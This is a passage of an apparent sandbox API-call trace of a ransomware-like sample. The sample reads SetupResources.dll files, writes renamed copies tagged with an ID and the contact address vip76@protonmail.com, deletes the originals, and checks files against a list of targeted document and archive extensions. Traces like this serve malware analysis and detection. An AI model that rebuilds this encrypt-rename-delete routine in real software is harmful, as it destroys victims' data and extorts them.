	[0060.535] Sleep (dwMilliseconds=0x64) 
	[0060.964] Sleep (dwMilliseconds=0x64) 
	[0061.272] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.272] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.272] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=17240) returned 1
	[0061.272] CloseHandle (hObject=0x2d0) returned 1
	[0061.272] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 0x80
	[0061.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0061.273] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.273] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0061.273] GetLastError () returned 0x0
	[0061.273] ReadFile (in: hFile=0x2d0, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4358, lpOverlapped=0x0) returned 1
	[0061.301] WriteFile (in: hFile=0x2ec, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4360, lpOverlapped=0x0) returned 1
	[0061.303] ReadFile (in: hFile=0x2d0, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.303] WriteFile (in: hFile=0x2ec, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.303] SetEndOfFile (hFile=0x2ec) returned 1
	[0061.303] CloseHandle (hObject=0x2ec) returned 1
	[0061.308] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.308] SetEndOfFile (hFile=0x2d0) returned 1
	[0061.309] CloseHandle (hObject=0x2d0) returned 1
	[0061.309] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.310] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll")) returned 1
	[0061.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.310] lstrlenW (lpString=".doc") returned 4
	[0061.310] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.310] lstrlenW (lpString=".docx") returned 5
	[0061.310] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.310] lstrlenW (lpString=".pdf") returned 4
	[0061.310] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.310] lstrlenW (lpString=".xls") returned 4
	[0061.310] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.310] lstrlenW (lpString=".xlsx") returned 5
	[0061.310] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.310] lstrlenW (lpString=".ppt") returned 4
	[0061.310] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString=".zip") returned 4
	[0061.311] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString=".rar") returned 4
	[0061.311] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString=".bz2") returned 4
	[0061.311] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.311] lstrlenW (lpString=".7z") returned 3
	[0061.311] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString=".dbf") returned 4
	[0061.311] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString=".1cd") returned 4
	[0061.311] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString=".jpg") returned 4
	[0061.311] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.311] lstrlenW (lpString=".doc") returned 4
	[0061.311] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString=".docx") returned 5
	[0061.311] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.311] lstrlenW (lpString=".pdf") returned 4
	[0061.311] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString=".xls") returned 4
	[0061.311] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.311] lstrlenW (lpString=".xlsx") returned 5
	[0061.311] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.312] lstrlenW (lpString=".ppt") returned 4
	[0061.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.312] lstrlenW (lpString=".zip") returned 4
	[0061.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.312] lstrlenW (lpString=".rar") returned 4
	[0061.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.312] lstrlenW (lpString=".bz2") returned 4
	[0061.312] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.312] lstrlenW (lpString=".7z") returned 3
	[0061.312] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.312] lstrlenW (lpString=".dbf") returned 4
	[0061.312] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.312] lstrlenW (lpString=".1cd") returned 4
	[0061.312] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45
	[0061.312] lstrlenW (lpString=".jpg") returned 4
	[0061.312] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.312] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.312] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.312] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.426] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=16728) returned 1
	[0061.426] CloseHandle (hObject=0x320) returned 1
	[0061.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80
	[0061.426] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.427] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.427] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.427] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.427] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.429] GetLastError () returned 0x0
	[0061.429] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4158, lpOverlapped=0x0) returned 1
	[0061.431] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4160, lpOverlapped=0x0) returned 1
	[0061.433] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.434] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.434] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.434] CloseHandle (hObject=0x2e4) returned 1
	[0061.436] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.436] SetEndOfFile (hFile=0x320) returned 1
	[0061.437] CloseHandle (hObject=0x320) returned 1
	[0061.437] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.438] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1
	[0061.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.438] lstrlenW (lpString=".doc") returned 4
	[0061.438] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.438] lstrlenW (lpString=".docx") returned 5
	[0061.438] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.438] lstrlenW (lpString=".pdf") returned 4
	[0061.438] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.438] lstrlenW (lpString=".xls") returned 4
	[0061.438] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.439] lstrlenW (lpString=".xlsx") returned 5
	[0061.439] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.439] lstrlenW (lpString=".ppt") returned 4
	[0061.439] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.439] lstrlenW (lpString=".zip") returned 4
	[0061.439] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.439] lstrlenW (lpString=".rar") returned 4
	[0061.439] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.439] lstrlenW (lpString=".bz2") returned 4
	[0061.439] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.439] lstrlenW (lpString=".7z") returned 3
	[0061.439] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.439] lstrlenW (lpString=".dbf") returned 4
	[0061.439] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.439] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.439] lstrlenW (lpString=".1cd") returned 4
	[0061.440] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.440] lstrlenW (lpString=".jpg") returned 4
	[0061.440] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.440] lstrlenW (lpString=".doc") returned 4
	[0061.440] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.440] lstrlenW (lpString=".docx") returned 5
	[0061.440] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.440] lstrlenW (lpString=".pdf") returned 4
	[0061.440] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.440] lstrlenW (lpString=".xls") returned 4
	[0061.440] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.440] lstrlenW (lpString=".xlsx") returned 5
	[0061.440] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.440] lstrlenW (lpString=".ppt") returned 4
	[0061.440] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.441] lstrlenW (lpString=".zip") returned 4
	[0061.441] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.441] lstrlenW (lpString=".rar") returned 4
	[0061.441] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.441] lstrlenW (lpString=".bz2") returned 4
	[0061.441] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.441] lstrlenW (lpString=".7z") returned 3
	[0061.441] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.441] lstrlenW (lpString=".dbf") returned 4
	[0061.441] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.441] lstrlenW (lpString=".1cd") returned 4
	[0061.441] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45
	[0061.441] lstrlenW (lpString=".jpg") returned 4
	[0061.441] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.441] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.442] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.442] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=18264) returned 1
	[0061.443] CloseHandle (hObject=0x320) returned 1
	[0061.443] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80
	[0061.443] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.443] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.443] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.443] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.445] GetLastError () returned 0x0
	[0061.445] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4758, lpOverlapped=0x0) returned 1
	[0061.449] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4760, lpOverlapped=0x0) returned 1
	[0061.450] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0061.450] WriteFile (in: hFile=0x2e4, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0xf8, lpOverlapped=0x0) returned 1
	[0061.450] SetEndOfFile (hFile=0x2e4) returned 1
	[0061.450] CloseHandle (hObject=0x2e4) returned 1
	[0061.452] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.452] SetEndOfFile (hFile=0x320) returned 1
	[0061.453] CloseHandle (hObject=0x320) returned 1
	[0061.453] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0061.454] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1
	[0061.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.454] lstrlenW (lpString=".doc") returned 4
	[0061.454] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.454] lstrlenW (lpString=".docx") returned 5
	[0061.454] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.454] lstrlenW (lpString=".pdf") returned 4
	[0061.454] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.454] lstrlenW (lpString=".xls") returned 4
	[0061.454] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.454] lstrlenW (lpString=".xlsx") returned 5
	[0061.454] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.454] lstrlenW (lpString=".ppt") returned 4
	[0061.454] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString=".zip") returned 4
	[0061.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.455] lstrlenW (lpString=".rar") returned 4
	[0061.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.455] lstrlenW (lpString=".bz2") returned 4
	[0061.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.455] lstrlenW (lpString=".7z") returned 3
	[0061.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString=".dbf") returned 4
	[0061.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString=".1cd") returned 4
	[0061.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString=".jpg") returned 4
	[0061.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.455] lstrlenW (lpString=".doc") returned 4
	[0061.455] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0061.455] lstrlenW (lpString=".docx") returned 5
	[0061.455] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0061.455] lstrlenW (lpString=".pdf") returned 4
	[0061.456] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0061.456] lstrlenW (lpString=".xls") returned 4
	[0061.456] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0061.456] lstrlenW (lpString=".xlsx") returned 5
	[0061.456] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0061.456] lstrlenW (lpString=".ppt") returned 4
	[0061.456] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0061.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.456] lstrlenW (lpString=".zip") returned 4
	[0061.456] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0061.456] lstrlenW (lpString=".rar") returned 4
	[0061.456] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0061.456] lstrlenW (lpString=".bz2") returned 4
	[0061.456] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0061.456] lstrlenW (lpString=".7z") returned 3
	[0061.456] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0061.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.456] lstrlenW (lpString=".dbf") returned 4
	[0061.456] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0061.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.456] lstrlenW (lpString=".1cd") returned 4
	[0061.456] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0061.456] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45
	[0061.456] lstrlenW (lpString=".jpg") returned 4
	[0061.456] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0061.457] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0061.457] lstrlenW (lpString="SetupResources.dll") returned 18
	[0061.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.457] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=15704) returned 1
	[0061.457] CloseHandle (hObject=0x320) returned 1
	[0061.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80
	[0061.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0061.457] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0061.457] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.458] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0061.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0061.460] GetLastError () returned 0x0
